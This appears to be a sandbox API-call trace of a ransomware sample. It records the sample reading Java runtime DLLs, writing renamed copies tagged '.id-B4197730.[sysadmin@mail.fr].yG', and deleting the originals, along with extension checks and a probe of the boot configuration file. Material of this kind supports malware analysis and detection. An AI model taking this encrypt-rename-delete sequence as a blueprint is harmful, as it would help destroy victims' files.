	[0183.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.571] lstrlenW (lpString=".doc") returned 4
	[0183.571] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.571] lstrlenW (lpString=".docx") returned 5
	[0183.571] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0183.571] lstrlenW (lpString=".pdf") returned 4
	[0183.571] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.571] lstrlenW (lpString=".xls") returned 4
	[0183.571] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.571] lstrlenW (lpString=".xlsx") returned 5
	[0183.571] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0183.571] lstrlenW (lpString=".ppt") returned 4
	[0183.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.571] lstrlenW (lpString=".zip") returned 4
	[0183.571] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.572] lstrlenW (lpString=".rar") returned 4
	[0183.572] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.572] lstrlenW (lpString=".bz2") returned 4
	[0183.572] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.572] lstrlenW (lpString=".7z") returned 3
	[0183.572] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.572] lstrlenW (lpString=".dbf") returned 4
	[0183.572] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.572] lstrlenW (lpString=".1cd") returned 4
	[0183.572] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.572] lstrlenW (lpString=".jpg") returned 4
	[0183.572] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.572] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.572] lstrlenW (lpString="fxplugins.dll") returned 13
	[0183.572] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0183.573] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=186944) returned 1
	[0183.573] CloseHandle (hObject=0x34c) returned 1
	[0183.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20
	[0183.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0183.574] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.574] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0183.574] GetLastError () returned 0x0
	[0183.574] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x2da40, lpOverlapped=0x0) returned 1
	[0183.942] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0x2da50, lpOverlapped=0x0) returned 1
	[0183.950] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.950] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xee, lpOverlapped=0x0) returned 1
	[0183.950] SetEndOfFile (hFile=0x33c) returned 1
	[0183.950] CloseHandle (hObject=0x33c) returned 1
	[0183.950] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.950] SetEndOfFile (hFile=0x34c) returned 1
	[0183.952] CloseHandle (hObject=0x34c) returned 1
	[0183.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.952] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1
	[0183.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.953] lstrlenW (lpString=".doc") returned 4
	[0183.953] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.953] lstrlenW (lpString=".docx") returned 5
	[0183.953] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0183.953] lstrlenW (lpString=".pdf") returned 4
	[0183.953] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.953] lstrlenW (lpString=".xls") returned 4
	[0183.953] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.953] lstrlenW (lpString=".xlsx") returned 5
	[0183.953] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0183.953] lstrlenW (lpString=".ppt") returned 4
	[0183.953] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.953] lstrlenW (lpString=".zip") returned 4
	[0183.953] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.953] lstrlenW (lpString=".rar") returned 4
	[0183.953] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.953] lstrlenW (lpString=".bz2") returned 4
	[0183.954] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.954] lstrlenW (lpString=".7z") returned 3
	[0183.954] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.954] lstrlenW (lpString=".dbf") returned 4
	[0183.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.954] lstrlenW (lpString=".1cd") returned 4
	[0183.954] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.954] lstrlenW (lpString=".jpg") returned 4
	[0183.954] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.954] lstrlenW (lpString=".doc") returned 4
	[0183.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.954] lstrlenW (lpString=".docx") returned 5
	[0183.954] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0183.954] lstrlenW (lpString=".pdf") returned 4
	[0183.954] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.954] lstrlenW (lpString=".xls") returned 4
	[0183.954] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.954] lstrlenW (lpString=".xlsx") returned 5
	[0183.954] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0183.954] lstrlenW (lpString=".ppt") returned 4
	[0183.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.954] lstrlenW (lpString=".zip") returned 4
	[0183.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.954] lstrlenW (lpString=".rar") returned 4
	[0183.955] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.955] lstrlenW (lpString=".bz2") returned 4
	[0183.955] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.955] lstrlenW (lpString=".7z") returned 3
	[0183.955] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.955] lstrlenW (lpString=".dbf") returned 4
	[0183.955] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.955] lstrlenW (lpString=".1cd") returned 4
	[0183.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0183.955] lstrlenW (lpString=".jpg") returned 4
	[0183.955] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.955] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.955] lstrlenW (lpString="gstreamer-lite.dll") returned 18
	[0183.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0183.956] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=619584) returned 1
	[0183.956] CloseHandle (hObject=0x34c) returned 1
	[0183.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20
	[0183.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.956] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0183.956] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.956] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.956] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0183.957] GetLastError () returned 0x0
	[0183.957] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x97440, lpOverlapped=0x0) returned 1
	[0184.365] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0x97450, lpOverlapped=0x0) returned 1
	[0184.379] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.379] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0184.379] SetEndOfFile (hFile=0x33c) returned 1
	[0184.398] CloseHandle (hObject=0x33c) returned 1
	[0184.399] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.399] SetEndOfFile (hFile=0x34c) returned 1
	[0184.409] CloseHandle (hObject=0x34c) returned 1
	[0184.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.410] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1
	[0184.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.410] lstrlenW (lpString=".doc") returned 4
	[0184.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.410] lstrlenW (lpString=".docx") returned 5
	[0184.410] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0184.410] lstrlenW (lpString=".pdf") returned 4
	[0184.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.410] lstrlenW (lpString=".xls") returned 4
	[0184.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.410] lstrlenW (lpString=".xlsx") returned 5
	[0184.410] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0184.410] lstrlenW (lpString=".ppt") returned 4
	[0184.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.410] lstrlenW (lpString=".zip") returned 4
	[0184.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.411] lstrlenW (lpString=".rar") returned 4
	[0184.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.411] lstrlenW (lpString=".bz2") returned 4
	[0184.411] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.411] lstrlenW (lpString=".7z") returned 3
	[0184.411] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.411] lstrlenW (lpString=".dbf") returned 4
	[0184.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.411] lstrlenW (lpString=".1cd") returned 4
	[0184.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.411] lstrlenW (lpString=".jpg") returned 4
	[0184.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.411] lstrlenW (lpString=".doc") returned 4
	[0184.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.411] lstrlenW (lpString=".docx") returned 5
	[0184.411] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0184.411] lstrlenW (lpString=".pdf") returned 4
	[0184.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.411] lstrlenW (lpString=".xls") returned 4
	[0184.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.412] lstrlenW (lpString=".xlsx") returned 5
	[0184.412] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0184.412] lstrlenW (lpString=".ppt") returned 4
	[0184.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.412] lstrlenW (lpString=".zip") returned 4
	[0184.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.412] lstrlenW (lpString=".rar") returned 4
	[0184.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.412] lstrlenW (lpString=".bz2") returned 4
	[0184.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.412] lstrlenW (lpString=".7z") returned 3
	[0184.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.412] lstrlenW (lpString=".dbf") returned 4
	[0184.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.412] lstrlenW (lpString=".1cd") returned 4
	[0184.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0184.412] lstrlenW (lpString=".jpg") returned 4
	[0184.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.412] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0184.413] lstrlenW (lpString="java.dll") returned 8
	[0184.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0184.413] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=159808) returned 1
	[0184.413] CloseHandle (hObject=0x34c) returned 1
	[0184.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20
	[0184.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0184.414] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.414] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0184.415] GetLastError () returned 0x0
	[0184.415] ReadFile (hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0) 

Thread:
	id = 103
	os_tid = 0x37c

	[0178.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c80080
	[0178.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c90088
	[0178.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f98a0
	[0178.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x71fdf8
	[0178.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f96f0
	[0178.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3f4d020
	[0178.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9678
	[0178.601] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9678, Size=0x20) returned 0x6de020
	[0178.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f98b8
	[0178.601] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f98b8, Size=0x20) returned 0x6de070
	[0178.601] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.601] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.601] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff50 | out: OldValue=0x351ff50*=0x0) returned 1
	[0178.601] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.602] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.602] Sleep (dwMilliseconds=0x64) 
	[0178.890] Sleep (dwMilliseconds=0x64) 
	[0179.124] lstrlenW (lpString="BCD") returned 3
	[0179.124] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.124] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.124] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.124] lstrlenW (lpString=".doc") returned 4
	[0179.124] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0179.124] lstrlenW (lpString=".docx") returned 5
	[0179.124] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0179.124] lstrlenW (lpString=".pdf") returned 4
	[0179.124] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0179.124] lstrlenW (lpString=".xls") returned 4
	[0179.125] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString=".xlsx") returned 5
	[0179.125] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0179.125] lstrlenW (lpString=".ppt") returned 4
	[0179.125] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.125] lstrlenW (lpString=".zip") returned 4
	[0179.125] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString=".rar") returned 4
	[0179.125] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString=".bz2") returned 4
	[0179.125] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString=".7z") returned 3
	[0179.125] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0179.125] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.125] lstrlenW (lpString=".dbf") returned 4
	[0179.125] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.125] lstrlenW (lpString=".1cd") returned 4
	[0179.125] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.125] lstrlenW (lpString=".jpg") returned 4
	[0179.125] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0179.125] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.125] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.125] lstrlenW (lpString=".doc") returned 4
	[0179.125] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".docx") returned 5
	[0179.126] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".pdf") returned 4
	[0179.126] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".xls") returned 4
	[0179.126] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".xlsx") returned 5
